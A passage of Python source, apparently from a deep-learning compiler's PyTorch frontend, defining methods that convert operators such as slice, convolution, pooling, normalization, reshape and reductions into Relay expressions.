inputs, input_types): return self.min_max_common("minimum", "min", inputs, input_types) def make_unary(self, name): def unary(inputs, input_types): # this is just to ensure tensor input (data,) = self.pytorch_promote_types(inputs[:1], input_types[:1]) return get_relay_op(name)(data) return unary def log1p(self, inputs, input_types): # 1_plus_log x = log(x + 1) (dtype,) = input_types one = _expr.const(1, dtype=dtype) return _op.log(inputs[0] + one) def arange(self, inputs, input_types): def _get_value(val, dtype): # dtype is a tvm dtype if isinstance(val, _expr.Expr): inp = _op.cast(val, dtype) ret, _ = try_infer_value(inp, lambda ret: _expr.const(ret, dtype)) else: ret = _create_typed_const(val, dtype) return ret def _get_type(val, inp_type): if isinstance(val, _expr.Expr): dtype = str(self.infer_type(val)) return dtype return inp_type # PyTorch arange uses the following type semantics: # - if a dtype is given, start, stop, step are converted to that dtype # - if no dtype is given and all args are integral, dtype is int64 # - if no dtype is given and there is a float arg, dtype is float32 if len(inputs) == 5: dtype0 = _get_type(inputs[0], input_types[0]) if inputs[1] is not None: dtype = _convert_dtype_value(inputs[1]) elif dtype0.startswith("float"): dtype = "float32" else: dtype = "int64" start = _expr.const(0, dtype) stop = _get_value(inputs[0], dtype) step = _expr.const(1, dtype) elif len(inputs) == 7: types = [_get_type(inputs[i], input_types[i]) for i in range(3)] if inputs[3] is not None: dtype = _convert_dtype_value(inputs[3]) elif any([t.startswith("float") for t in types]): dtype = "float32" else: dtype = "int64" start = _get_value(inputs[0], dtype) stop = _get_value(inputs[1], dtype) step = _get_value(inputs[2], dtype) else: msg = "Unknown number of arguments (%d) to parse." % (len(inputs)) raise AssertionError(msg) return _op.transform.arange(start=start, stop=stop, step=step, dtype=dtype) def squeeze(self, inputs, input_types): data = inputs[0] if len(inputs) == 1: axis = None else: # TODO (t-vi): why is the cast to int needed? similarly elsewhere axis = [int(inputs[1])] return _op.transform.squeeze(data, axis) def unsqueeze(self, inputs, input_types): data = inputs[0] axis = inputs[1] return _op.transform.expand_dims(data, int(axis), 1) def concatenate(self, inputs, input_types): def tensor_array_concat(lst, axis): assert axis == 0, "Tensor array concat supported only for axis 0" tensor_array, shape = self.convert_to_tensor_array(lst) concat_shape = (Any(),) + shape[1:] concat = self.prelude.get_global_var_static("tensor_array_concat", "float32", shape) concatenated = concat(tensor_array) static_tensor_array_ops = StaticTensorArrayOps(self.prelude, "float32", concat_shape) static_tensor_array_ops.register() get_tensor = self.prelude.get_global_var_static( "tensor_get_data", "float32", concat_shape ) return get_tensor(concatenated) data = inputs[0] axis = inputs[1] if not isinstance(data, list): return tensor_array_concat(data, axis) if isinstance(data, _expr.Expr): data = [data] return _op.tensor.concatenate(data, int(axis)) def slice(self, inputs, input_types): axis_dtype = "int64" index_size_limit = sys.maxsize data = inputs[0] dshape = self.infer_shape(data) ndim = len(dshape) dim = int(inputs[1]) stride = inputs[4] target_begin, is_begin_const = try_infer_value( inputs[2], lambda ret: ret.astype(np.int).item(0) ) target_end, is_end_const = try_infer_value( inputs[3], lambda ret: ret.astype(np.int).item(0) ) # A fast path when slicing is nop. if ( isinstance(target_begin, int) and isinstance(target_end, int) and target_begin == 0 and target_end >= index_size_limit and stride == 1 ): return data # Process begin begin = [0] * ndim begin[dim] = target_begin if not isinstance(begin[dim], int): tmp = [] for b in begin: if isinstance(b, int): tmp.append(_op.expand_dims(_expr.const(b, axis_dtype), axis=0)) else: tmp.append(_op.cast(_op.expand_dims(b, axis=0), axis_dtype)) begin = _op.concatenate(tmp, axis=0) btype = self.infer_type(begin).dtype if str(btype) != axis_dtype: begin = _op.cast(begin, axis_dtype) # Process end if isinstance(target_end, int) and target_end >= index_size_limit: target_end = dshape[dim] if any([isinstance(d, tvm.tir.Any) for d in dshape]): end = _op.shape_of(data) else: end = dshape if isinstance(target_end, int): if isinstance(end, list): end[dim] = target_end else: all_static = True for i, shape_dim in enumerate(dshape): if i != dim and isinstance(shape_dim, tvm.tir.Any): all_static = False if all_static: end = list(get_const_tuple(dshape)) end[dim] = target_end else: target_end = _expr.const(target_end) end = _op.scatter( end, _op.expand_dims(_expr.const(dim), axis=0), _op.expand_dims(target_end, axis=0), axis=0, ) else: end = _op.cast(_op.shape_of(data), axis_dtype) if not isinstance(target_end, tvm.tir.Any): ttype = self.infer_type(target_end).dtype if str(ttype) != axis_dtype: target_end = _op.cast(target_end, axis_dtype) end = _op.scatter( end, _op.expand_dims(_expr.const(dim), axis=0), _op.expand_dims(target_end, axis=0), axis=0, ) if not isinstance(end, list): etype = self.infer_type(end).dtype if str(etype) != axis_dtype: end = _op.cast(end, axis_dtype) strides = [1] * ndim strides[dim] = stride return _op.transform.strided_slice( data, begin=begin, end=end, strides=strides, slice_mode="end" ) def narrow(self, inputs, input_types): # Inputs are: # 0 - the tensor to narrow # 1 - the dimension along which to narrow # 2 - the starting dimension # 3 - the distance to the ending dimension # Lets find the ending dimension end = self.add(inputs[2:4], input_types[2:4]) stride = 1 slice_input = inputs[:3] + [end, stride] slice_types = input_types + ["int32"] return self.slice(slice_input, slice_types) def split(self, inputs, input_types): data = inputs[0] split_size = int(inputs[1]) dim = int(inputs[2]) split_index = split_size indices = [] while split_index < self.infer_shape(data)[dim]: indices.append(split_index) split_index += split_size return _op.split(data, indices, dim) def split_with_sizes(self, inputs, input_types): data = inputs[0] sections = inputs[1] dim = int(inputs[2]) if len(sections) == 1: # a special case used in torchvision detection models return _expr.TupleWrapper(_expr.Tuple([data]), 1) split_index = 0 indices = [] for i in range(len(sections) - 1): index, _ = try_infer_value(sections[i], lambda ret: int(ret)) split_index += index indices.append(split_index) return _op.split(data, indices, dim) def select(self, inputs, input_types): data = inputs[0] dim = int(inputs[1]) index = _wrap_const(inputs[2]) return _op.transform.take(data, index, axis=dim, mode="wrap") def take(self, inputs, input_types): data = inputs[0] indices = _op.cast(inputs[1], "int32") return _op.transform.take(data, indices=indices, mode="wrap") def topk(self, inputs, input_types): data = inputs[0] axis = int(inputs[2]) is_ascend = not bool(inputs[3]) sort = bool(inputs[4]) if isinstance(inputs[1], _expr.Expr): k, _ = try_infer_value(inputs[1], lambda ret: ret.tolist()) else: k = inputs[1] if not sort: msg = "Currently supports only sorted output for topk operator." raise AssertionError(msg) outs = _op.topk(data, k=k, axis=axis, is_ascend=is_ascend, ret_type="both", dtype="int64") return outs[0], outs[1] def reciprocal(self, inputs, input_types): data = inputs[0] return _expr.const(1.0, dtype=input_types[0]) / data def repeat(self, inputs, input_types): data = inputs[0] reps = [] for r in inputs[1]: if isinstance(r, int): reps.append(r) else: reps.append(int(_infer_value(r, {}).numpy())) return _op.transform.tile(data, reps=reps) def repeat_interleave(self, inputs, input_types): data = inputs[0] if isinstance(inputs[1], int): repeats = inputs[1] axis = inputs[2] elif isinstance(inputs[1], _expr.Expr): if isinstance(inputs[1], _expr.Constant): repeats = int(inputs[1].data.numpy()) else: repeats, _ = try_infer_value(inputs[1], lambda ret: ret.tolist()) axis = inputs[2] else: msg = "Only repeat with one value as repeat is currently supported." raise AssertionError(msg) if axis is None: # Flatten the data if no axis is given from torch data = _op.transform.reshape(data, [-1]) axis = 0 return _op.transform.repeat(data, repeats=repeats, axis=axis) def addcdiv(self, inputs, input_types): data, t1, t2, c = self.pytorch_promote_types(inputs[:4], input_types[:4]) return data + (c * (t1 / t2)) def addcmul(self, inputs, input_types): data, t1, t2, c = self.pytorch_promote_types(inputs[:4], input_types[:4]) return data + (c * (t1 * t2)) def where(self, inputs, input_types): if len(inputs) == 1: return self.nonzero([inputs[0], True], input_types) cond = inputs[0] x, y = self.pytorch_promote_types(inputs[1:3], input_types[1:3]) return _op.where(cond, x, y) def full_impl(self, data, fill_value, dtype): size = [] need_reshape = False new_shape = [] for dim in data: if isinstance(dim, _expr.Expr): if isinstance(dim, _expr.Constant): dim = int(dim.data.numpy()) if isinstance(size, list): size.append(dim) new_shape.append(dim) else: dim, success = try_infer_value(dim, lambda ret: int(ret), lambda: 0) new_shape.append(dim) if success: if isinstance(size, list): size.append(dim) else: size = None need_reshape = True else: if isinstance(size, list): size.append(dim) new_shape.append(dim) if size is None: tmp = [] for dim in data: tmp.append(_op.cast(_op.expand_dims(dim, axis=0), "int64")) size = _op.concatenate(tmp, axis=0) out = _op.full(_expr.const(fill_value), size, dtype=dtype) if need_reshape: out = _op.reshape(out, new_shape) return out def ones(self, inputs, input_types): data = inputs[0] import torch if not isinstance(data, (_expr.Expr, list, torch.Tensor, np.ndarray)): msg = "Data type %s could not be parsed in ones op" % (type(data)) raise AssertionError(msg) if inputs[1] is not None: dtype = _convert_dtype_value(inputs[1]) else: dtype = self.default_dtype return self.full_impl(data, 1, dtype) def ones_like(self, inputs, input_types): data = inputs[0] out = _op.ones_like(data) # If the input and the output datatype is different, do a cast if inputs[1] is not None: dtype = _convert_dtype_value(inputs[1]) else: dtype = self.default_dtype if input_types[0] != dtype: out = _op.cast(out, dtype) return out def zeros(self, inputs, input_types): data = inputs[0] import torch if not isinstance(data, (_expr.Expr, list, torch.Tensor, np.ndarray)): msg = "Data type %s could not be parsed in zeros op" % (type(data)) raise AssertionError(msg) if inputs[1] is not None: dtype = _convert_dtype_value(inputs[1]) else: dtype = self.default_dtype return self.full_impl(data, 0, dtype) def zeros_like(self, inputs, input_types): data = inputs[0] out = _op.zeros_like(data) # If the input and the output datatype is different, do a cast if inputs[1] is not None: dtype = _convert_dtype_value(inputs[1]) else: dtype = self.default_dtype if input_types[0] not in dtype: out = _op.cast(out, dtype) return out def full(self, inputs, input_types): data = inputs[0] fill_value = inputs[1] import torch if not isinstance(data, (_expr.Expr, list, torch.Tensor, np.ndarray)): msg = "Data type %s could not be parsed in full op" % (type(data)) raise AssertionError(msg) if inputs[2] is not None: # dtype given dtype = _convert_dtype_value(inputs[2]) else: # if dtype is None, torch uses a global default set by torch.set_default_tensor_type() dtype = self.default_dtype return self.full_impl(data, fill_value, dtype) def full_like(self, inputs, input_types): data = inputs[0] fill_value = inputs[1] out = _op.full_like(data, _expr.const(fill_value)) # If the input and the output datatype is different, do a cast if inputs[2] is not None: # dtype given dtype = _convert_dtype_value(inputs[2]) else: # if dtype is None, torch uses a global default set by torch.set_default_tensor_type() dtype = self.default_dtype if input_types[0] not in dtype: out = _op.cast(out, dtype) return out def linspace(self, inputs, input_types): start = inputs[0] stop = inputs[1] step = inputs[2] # Find the spacing between values as step if step != 1: step = (stop - start) / (step - 1) stop = stop + step else: stop = start + step dtype = "float32" if inputs[3] is not None else _convert_dtype_value(inputs[3]) start = _create_typed_const(start, dtype) stop = _create_typed_const(stop, dtype) step = _create_typed_const(step, dtype) return _op.transform.arange(start=start, stop=stop, step=step, dtype=dtype) def relu(self, inputs, input_types): data = inputs[0] if self.is_quantized_tensor(data): assert len(inputs) == 3, "Input quant param not found in op inputs" input_zero_point = _expr.const(inputs[2], dtype="int32") return qnn_torch.quantized_relu(data, input_zero_point) return _op.nn.relu(data) def prelu(self, inputs, input_types): # Reference: https://pytorch.org/docs/stable/generated/torch.nn.PReLU.html#torch.nn.PReLU data = inputs[0] dim = self.get_dims(data) ndims = len(dim) axis = 0 if ndims == 1 else 1 alpha = _op.broadcast_to(inputs[1], (dim[axis])) return _op.nn.prelu(data, alpha, axis) def leaky_relu(self, inputs, input_types): data = inputs[0] alpha = float(inputs[1]) return _op.nn.leaky_relu(data, alpha) def elu(self, inputs, input_types): data = inputs[0] dtype = input_types[0] alpha = _expr.const(-float(inputs[1]), dtype=dtype) return alpha * _op.nn.relu(_expr.const(1, dtype=dtype) - _op.exp(data)) + _op.nn.relu(data) def celu(self, inputs, input_types): data = inputs[0] dtype = input_types[0] alpha = _expr.const(float(inputs[1]), dtype=dtype) return alpha * _op.nn.relu( _expr.const(1, dtype=dtype) - _op.exp(data / alpha) ) + _op.nn.relu(data) def gelu(self, inputs, input_types): data = inputs[0] dtype = input_types[0] # gelu is data * normcdf(data) # normcdf expressed as erf because we don't currently have that intrinsic # note that there is also a fastgelu variant approximating normcdf # with tanh and third order polynomials, but this is "true" gelu return data * ( _expr.const(0.5, dtype=dtype) + _op.erf(data * _expr.const(0.5 ** 0.5, dtype=dtype)) * _expr.const(0.5, dtype=dtype) ) def selu(self, inputs, input_types): data = inputs[0] # https://pytorch.org/docs/stable/nn.html#selu dtype = input_types[0] alpha = _expr.const(-1.6732632423543772848170429916717, dtype=dtype) gamma = _expr.const(1.0507009873554804934193349852946, dtype=dtype) return gamma * ( alpha * _op.nn.relu(_expr.const(1.0, dtype=dtype) - _op.exp(data)) + _op.nn.relu(data) ) def silu(self, inputs, input_types): data = inputs[0] return data * _op.tensor.sigmoid(data) def log_sigmoid(self, inputs, input_types): data = inputs[0] return _op.log(_op.tensor.sigmoid(data)) def hard_sigmoid(self, inputs, input_types): def _relu6(x): return _op.tensor.clip(x, 0.0, 6.0) def func(x): return _relu6(x + _expr.const(3.0)) / _expr.const(6.0) if self.is_quantized_tensor(inputs[0]): input_scale = _expr.const(inputs[1]) input_zero_point = _expr.const(inputs[2]) # PyTorch seems to use the following output qparams, but accuracy # is broken if we use this. # TODO(masahi): Revisit this parameter choice # # Taken from src/ATen/native/quantized/cpu/kernels/QuantizedOpKernels.cpp # output_scale = _expr.const(0.00390625) # 1.0 / 2^8 # output_zero_point = _expr.const(-128) output_scale = input_scale output_zero_point = input_zero_point data = qnn.op.dequantize(inputs[0], input_scale, input_zero_point, axis=1) out = func(data) return qnn.op.quantize(out, output_scale, output_zero_point, out_dtype="uint8") return func(inputs[0]) def hard_swish(self, inputs, input_types): data = inputs[0] return data * self.hard_sigmoid(inputs, input_types) def adaptive_avg_pool(self, op, inputs, input_types): data = inputs[0] output_size = inputs[1] def func(x): return op(x, output_size=output_size) if self.is_quantized_tensor(data): return qnn_torch.apply_with_upcast(data, func) return func(data) def adaptive_max_pool(self, op, inputs, input_types): data = inputs[0] output_size = inputs[1] # returns dummy indices too return op(data, output_size=output_size), None @staticmethod def convert_const_list(data): if isinstance(data, list): for i, _ in enumerate(data): if isinstance(data[i], _expr.Expr): data[i] = int(_infer_value_simulated(data[i], {}).numpy()) return data def maxpool_2d(self, inputs, input_types): data = inputs[0] pool_size = self.convert_const_list(inputs[1]) strides = self.convert_const_list(inputs[2] if inputs[2] else pool_size) padding = inputs[3] dilation = inputs[4] ceil_mode = int(inputs[5]) return _op.nn.max_pool2d( data, pool_size=pool_size, strides=strides, dilation=dilation, padding=padding, layout="NCHW", ceil_mode=ceil_mode, ) def maxpool_2d_with_indices(self, inputs, input_types): # returns dummy indices too return self.maxpool_2d(inputs, input_types), None def maxpool_1d(self, inputs, input_types): data = inputs[0] pool_size = inputs[1] strides = inputs[2] if inputs[2] else pool_size padding = inputs[3] dilation = inputs[4] ceil_mode = int(inputs[5]) return _op.nn.max_pool1d( data, pool_size=pool_size, strides=strides, dilation=dilation, padding=padding, layout="NCW", ceil_mode=ceil_mode, ) def maxpool_3d(self, inputs, input_types): data = inputs[0] pool_size = inputs[1] strides = inputs[2] if inputs[2] else pool_size padding = inputs[3] dilation = inputs[4] ceil_mode = int(inputs[5]) return _op.nn.max_pool3d( data, pool_size=pool_size, strides=strides, dilation=dilation, padding=padding, ceil_mode=ceil_mode, ) def hardtanh(self, inputs, input_types): a = inputs[0] tanh_min = float(inputs[1]) tanh_max = float(inputs[2]) return _op.tensor.clip(a, tanh_min, tanh_max) def convolution(self, inputs, input_types): # Use transpose or normal use_transpose = True if inputs[6] == 1 else False data = inputs[0] weight = inputs[1] bias = inputs[2] strides = tuple(inputs[3]) padding = tuple(inputs[4]) dilation = tuple(inputs[5]) if isinstance(weight, _expr.Expr): inferred_shape = self.infer_shape(weight) weight_shape = [] for infer in inferred_shape: weight_shape.append(infer) else: msg = "Data type %s could not be parsed in conv op" % (type(weight)) raise AssertionError(msg) # Transposed convolutions have IOHW layout. if use_transpose: weight_shape[0], weight_shape[1] = weight_shape[1], weight_shape[0] channels = weight_shape[0] groups = int(inputs[8]) # Check if this is depth wise convolution # We need to reshape weight so that Relay could recognize this is depth wise # weight_shape[1] is always in_channels // groups # For depthwise, in_channels == groups, so weight_shape[1] == 1 # If groups > 1 but weight_shape[1] != 1, this is group convolution if groups > 1 and weight_shape[1] == 1: channel_multiplier = channels // groups new_weight_shape = (groups, channel_multiplier) + tuple(weight_shape[2:]) weight = _op.transform.reshape(weight, new_weight_shape) kernel_size = weight_shape[2:] use_bias = isinstance(bias, _expr.Expr) # We are trying to invoke various relay operations through a single conv_op variable. # However the function signatures for some operations have additional attributes so we # pass these in along with the standard ones. additional_arguments = dict() if use_transpose: if len(kernel_size) == 3: conv_op = _op.nn.conv3d_transpose elif len(kernel_size) == 2: conv_op = _op.nn.conv2d_transpose else: conv_op = _op.nn.conv1d_transpose output_padding = tuple(inputs[7]) additional_arguments["output_padding"] = output_padding else: if len(kernel_size) == 3: conv_op = _op.nn.conv3d elif len(kernel_size) == 2: conv_op = _op.nn.conv2d else: conv_op = _op.nn.conv1d if len(kernel_size) == 3: data_layout = "NCDHW" kernel_layout = "OIDHW" elif len(kernel_size) == 2: data_layout = "NCHW" kernel_layout = "OIHW" if use_transpose: # Transposed convolutions have IOHW layout. kernel_layout = "IOHW" else: data_layout = "NCW" kernel_layout = "OIW" # Conv1d does not currently support grouped convolution so we convert it to conv2d is_grouped_conv1d = False if groups > 1 and len(kernel_size) == 1 and not use_transpose: is_grouped_conv1d = True conv_op = _op.nn.conv2d kernel_size = [1] + kernel_size strides = (1,) + strides padding = (0,) + padding dilation = (1,) + dilation data = _op.expand_dims(data, axis=2) weight = _op.expand_dims(weight, axis=2) data_layout = "NCHW" kernel_layout = "OIHW" conv_out = conv_op( data, weight, strides=strides, padding=padding, dilation=dilation, groups=groups, channels=channels, kernel_size=kernel_size, data_layout=data_layout, kernel_layout=kernel_layout, out_layout="", out_dtype="", **additional_arguments, ) if use_bias: res = _op.nn.bias_add(conv_out, bias) else: res = conv_out if is_grouped_conv1d: # Because we conducted grouped conv1d convolution through conv2d we must # squeeze the output to get the correct result. res = _op.squeeze(res, axis=[2]) return res def softmax(self, inputs, input_types): data = inputs[0] axis = inputs[1] if isinstance(axis, str): axis = int(axis) return _op.nn.softmax(data, axis=axis) def threshold(self, inputs, input_types): data = inputs[0] return _op.nn.relu(data) def contiguous(self, inputs, input_types): return inputs[0] def batch_norm(self, inputs, input_types): data = inputs[0] data_type = input_types[0] channels = self.infer_shape(data) if isinstance(inputs[1], _expr.Expr) and isinstance(inputs[2], _expr.Expr): scale = center = True weight = inputs[1] beta = inputs[2] gamma = weight else: scale = center = False if not scale: gamma = _create_typed_const(np.ones([int(channels[1])]), data_type) if not center: beta = _create_typed_const(np.zeros([int(channels[1])]), data_type) moving_mean = inputs[3] moving_var = inputs[4] epsilon = float(inputs[7]) return _op.nn.batch_norm( data, gamma, beta, moving_mean, moving_var, axis=1, epsilon=epsilon, center=center, scale=scale, )[0] def instance_norm(self, inputs, input_types): data = inputs[0] data_type = input_types[0] channels = self.infer_shape(data) if isinstance(inputs[1], _expr.Expr) and isinstance(inputs[2], _expr.Expr): scale = center = True weight = inputs[1] beta = inputs[2] gamma = weight else: scale = center = False if not scale: gamma = _create_typed_const(np.ones([int(channels[1])]), data_type) if not center: beta = _create_typed_const(np.zeros([int(channels[1])]), data_type) epsilon = float(inputs[7]) return _op.nn.instance_norm( data, gamma, beta, axis=1, epsilon=epsilon, center=center, scale=scale ) def get_dims(self, data): import torch if isinstance(data, _expr.Expr): dims = self.infer_shape(data) elif isinstance(data, list): dims = data elif isinstance(data, (torch.Tensor, np.ndarray)): dims = data.shape else: msg = "Data type %s could not be parsed" % type(data) raise AssertionError(msg) return dims def layer_norm(self, inputs, input_types): data = inputs[0] ndims = len(self.get_dims(inputs[1])) assert ndims == 1, "Support only normalization over last one dimension." return _op.nn.layer_norm( data, gamma=inputs[2], beta=inputs[3], axis=-1, epsilon=float(inputs[4]), center=True, scale=True, ) def group_norm(self, inputs, input_types): data = inputs[0] gamma = inputs[2] beta = inputs[3] num_groups = inputs[1] epsilon = float(inputs[4]) return _op.nn.group_norm( data, gamma=gamma, beta=beta, num_groups=num_groups, axis=1, epsilon=epsilon, center=True, scale=True, ) def transpose(self, inputs, input_types): data = inputs[0] import torch if isinstance(data, _expr.Expr): ndims = len(self.infer_shape_with_prelude(data)) elif isinstance(data, list): ndims = data elif isinstance(data, (torch.Tensor, np.ndarray)): ndims = data.shape else: msg = "Data type %s could not be parsed in transpose op" % (type(data)) raise AssertionError(msg) if isinstance(data, tvm.runtime.NDArray): ndims = len(data.shape) axes = list(range(ndims)) num_inputs = len(inputs) if num_inputs == 1: if ndims >= 2: axes[-1] = ndims - 2 axes[-2] = ndims - 1 if not isinstance(data, _expr.Expr): data = _expr.const(data) elif num_inputs == 3: parse = lambda i: ndims * (i < 0) + i src, dst = [parse(int(inputs[i])) for i in [1, 2]] axes[src] = dst axes[dst] = src else: axes = inputs[1] return _op.transform.transpose(data, axes) def flatten(self, inputs, input_types): data = inputs[0] start = int(inputs[1]) end = int(inputs[2]) dshape = get_const_tuple(self.infer_shape_with_prelude(data)) ndim = len(dshape) if end < 0: end += ndim new_shape = [0] * start new_shape.append(-1) squeeze_axes = [] for i in range(start + 1, end + 1): new_shape.append(1) squeeze_axes.append(i) for _ in range(end + 1, ndim): new_shape.append(0) out = _op.reshape(data, new_shape) if squeeze_axes: out = _op.squeeze(out, axis=squeeze_axes) return out def addmm(self, inputs, input_types): input_mat = inputs[0] mat1 = inputs[1] data_type = input_types[1] mat2 = inputs[2] beta = inputs[3] alpha = inputs[4] if not isinstance(alpha, _expr.Expr) and alpha != 1: alpha = _create_typed_const(alpha, data_type) mat1 *= alpha if not isinstance(beta, _expr.Expr) and beta != 1: beta = _create_typed_const(beta, data_type) mat2 *= beta transposed_mat2 = _op.transform.transpose(mat2, axes=[1, 0]) units = self.infer_shape(transposed_mat2)[0] dense_out = _op.nn.dense(mat1, transposed_mat2, units=units) return dense_out + input_mat def size(self, inputs, input_types): shape = self.infer_shape_with_prelude(inputs[0]) axis = None if len(inputs) > 1: axis = int(inputs[1]) if any(map(lambda s: isinstance(s, tvm.tir.expr.Any), shape)): if axis is None or isinstance(shape[axis], tvm.tir.expr.Any): shape_dynamic = _op.shape_of(inputs[0], dtype="int32") if axis is not None: return _op.take(shape_dynamic, _expr.const(axis), 0) return shape_dynamic if axis is not None: return _expr.const(shape[axis]) return _expr.const(shape) def numtotensor(self, inputs, input_types): val = inputs[0] dtype = input_types[0] if isinstance(val, _expr.Expr): return val if isinstance(val, tvm.tir.IntImm): val = val.__int__() dtype = int arr = val * np.ones([]).astype(dtype) return arr def tensortonum(self, inputs, input_types): return inputs[0] def view(self, inputs, input_types): data = inputs[0] if len(inputs) == 3: shape_inp = [inputs[1], self.infer_shape(inputs[2])[0]] else: if isinstance(inputs[1], list): shape_inp = inputs[1] else: shape_inp = self.infer_shape(inputs[1]) new_shape = shape_inp for i, shape in enumerate(shape_inp): if isinstance(shape, _expr.Expr): val = _infer_value_simulated(shape, {}) new_shape[i] = val.numpy().item(0) return _op.transform.reshape(data, new_shape) def reshape(self, inputs, input_types): data = inputs[0] new_shape = inputs[1] tmp_shape = [] is_dyn = False for s in new_shape: if isinstance(s, _expr.Constant): tmp_shape.append(int(s.data.numpy())) elif isinstance(s, _expr.Expr): dim, success = try_infer_value(s, lambda ret: int(ret)) tmp_shape.append(dim) if not success: is_dyn = True else: tmp_shape.append(s) if is_dyn: new_shape = [] for i, s in enumerate(tmp_shape): if not isinstance(s, _expr.Expr): s = _expr.const(s, "int64") else: s = _op.cast(s, "int64") new_shape.append(_op.expand_dims(s, axis=0)) new_shape = _op.concatenate(new_shape, axis=0) else: new_shape = tmp_shape return _op.transform.reshape(data, new_shape) def pixel_shuffle(self, inputs, input_types): data = inputs[0] upscale_factor = inputs[1] upscale_squared = upscale_factor * upscale_factor b, c, h, w = self.infer_shape(data) assert ( c % upscale_squared == 0 ), "input channel should be divisible by square of upscale_factor" ndims = len(self.infer_shape_with_prelude(data)) axes = list(range(ndims)) num_inputs = len(inputs) oc = c // upscale_squared oh = h * upscale_factor ow = w * upscale_factor new_shape = [b, oc, upscale_factor, upscale_factor, h, w] out_shape = [b, oc, oh, ow] data = _op.transform.reshape(data, new_shape) # The data will be transposed to # [b, oc, h, upscale_factor, w, upscale_factor] # for further reshape axes = [0, 1, 4, 2, 5, 3] data = _op.transform.transpose(data, axes) return _op.transform.reshape(data, out_shape) def clone(self, inputs, input_types): data = inputs[0] return _op.tensor.copy(data) def log_softmax(self, inputs, input_types): data = inputs[0] axis = int(inputs[1]) return _op.nn.log_softmax(data, axis) def sigmoid(self, inputs, input_types): data = inputs[0] return _op.tensor.sigmoid(data) def softplus(self, inputs, input_types): data = inputs[0] dtype = input_types[0] beta = _expr.const(float(inputs[1]), dtype=dtype) return _op.log(_op.exp(inputs[0] * beta) + _expr.const(1.0, dtype=dtype)) / beta def make_avg_pool(self, dim): def avg_pool(inputs, input_types): data = inputs[0] pool_size = self.convert_const_list(inputs[1]) strides = self.convert_const_list(inputs[2] if inputs[2] else pool_size) padding = inputs[3] ceil_mode = int(inputs[4]) count_include_pad = int(inputs[5]) def func(x): if dim == 1: return _op.nn.avg_pool1d( x, pool_size=pool_size, strides=strides, padding=padding, dilation=(1,), ceil_mode=ceil_mode, count_include_pad=count_include_pad, ) elif dim == 2: return _op.nn.avg_pool2d( x, pool_size=pool_size, strides=strides, padding=padding, dilation=(1, 1), ceil_mode=ceil_mode, count_include_pad=count_include_pad, ) elif dim == 3: return _op.nn.avg_pool3d( x, pool_size=pool_size, strides=strides, padding=padding, dilation=(1, 1, 1), ceil_mode=ceil_mode, count_include_pad=count_include_pad, ) else: msg = "Average Pooling dimension should be between 1 and 3" raise RuntimeError(msg) if self.is_quantized_tensor(data): return qnn_torch.apply_with_upcast(data, func) return func(data) return avg_pool def linear(self, inputs, input_types): # https://pytorch.org/docs/stable/nn.functional.html#linear # 0 - input # 1 - weight bias = inputs[2] a_shape = self.infer_shape_with_prelude(inputs[0]) b_shape = self.infer_shape_with_prelude(inputs[1]) if len(a_shape) == 2 and len(b_shape) == 2: mm_out = _op.nn.dense(inputs[0], inputs[1]) elif len(b_shape) == 1: mm_out = self.matmul([inputs[0], inputs[1]], input_types[:2]) else: mm_out = self.matmul( [inputs[0], _op.transpose(inputs[1], axes=(1, 0))], input_types[:2] ) if isinstance(bias, _expr.Expr): bias_ndims = len(self.infer_shape_with_prelude(bias)) if bias_ndims == 1: return _op.nn.bias_add(mm_out, bias, axis=-1) mm_dtype = self.infer_type_with_prelude(mm_out).dtype return self.add([mm_out, bias], [mm_dtype, input_types[2]]) return mm_out def dropout(self, inputs, input_types): data = inputs[0] rate = float(inputs[1]) return _op.nn.dropout(data, rate) def make_reduce(self, name): def reduce(inputs, input_types): data = inputs[0] axis = None keepdims = False if len(inputs) > 2: # default, torch have only data, axis=None, keepdims=False if isinstance(inputs[1], int): axis = int(inputs[1]) elif _is_int_seq(inputs[1]): axis = inputs[1] else: axis = list(self.infer_shape(inputs[1])) keepdims = bool(inputs[2]) return get_relay_op(name)(data, axis=axis, keepdims=keepdims) return reduce def norm(self, inputs, input_types): data = inputs[0] dtype = input_types[0] axis = None keepdims = False if len(inputs) > 3: axis = inputs[2] keepdims = bool(inputs[3]) order = inputs[1] if order == np.inf: return _op.reduce.max(_op.abs(data), axis=axis, keepdims=keepdims) elif order == np.NINF: return _op.reduce.min(_op.abs(data), axis=axis, keepdims=keepdims) else: reci_order = _expr.const(1.0 / order, dtype=dtype) order = _expr.const(order) return _op.power( _op.reduce.sum(_op.power(_op.abs(data), order), axis=axis, keepdims=keepdims), reci_order, ) def frobenius_norm(self, inputs, input_types): data = inputs[0] axis = None keepdims = False if len(inputs) > 2: axis = inputs[1] if len(inputs[1]) > 0 else None keepdims = bool(inputs[2]) return _op.sqrt(_op.reduce.sum((data * data), axis=axis, keepdims=keepdims)) def std(self, inputs, input_types): data = inputs[0] if len(inputs) == 2: axis = None keepdims = False unbiased = bool(inputs[1]) else: axis = inputs[1] keepdims = bool(inputs[3]) unbiased = bool(inputs[2]) return _op.reduce.std(data, axis=axis, keepdims=keepdims, unbiased=unbiased) def variance(self, inputs, input_types): data = inputs[0] if len(inputs) == 2: axis = None keepdims = False unbiased = bool(inputs[1]) else: axis = inputs[1] keepdims = bool(inputs[3]) unbiased = bool(inputs[2]) return _op.reduce.variance(data, axis=axis, keepdims=keepdims, unbiased=unbiased) def mean(self, inputs, input_types): data = inputs[0] if inputs[1]: axis = inputs[1] else: axis = None if len(inputs) > 2 and inputs[2]: keepdims = int(inputs[2]) else: keepdims = False if len(inputs) > 3 and inputs[3]: exclude = int(inputs[3]) else: exclude = False def func(x): return _op.mean(x, axis, keepdims, exclude) if self.is_quantized_tensor(data): assert len(inputs) == 6, "Input quant param not found in op inputs" input_scale = _expr.const(inputs[4]) input_zero_point = _expr.const(inputs[5]) return qnn_torch.quantized_mean(data, input_scale, input_zero_point, func) return func(data) def chunk(self, inputs, input_types): data = inputs[0] num_chunks = int(inputs[1]) axis = int(inputs[2]) if isinstance(data, _expr.Expr): inferred_shape = self.infer_shape_with_prelude(data) shape = [] for infer in inferred_shape: shape.append(infer) dim = int(shape[axis]) if dim % num_chunks: unif_size = int(dim / (num_chunks - 1)) else: unif_size = int(dim / num_chunks) indeces = [] for i in range(unif_size, dim, unif_size): indeces.append(i) return _op.split(data, indeces, axis) def matmul(self, inputs, input_types): inputs_0 = inputs[0] inputs_1 = inputs[1] # Need to check input shape as batch matmul must be supported. a_shape = self.infer_shape_with_prelude(inputs_0) b_shape = self.infer_shape_with_prelude(inputs_1) # When performing a batch matmul, we need to properly handle N-dim shapes. if len(a_shape) > 2 and len(b_shape) > 2: # Convert a into a 3 dimensional tensors. 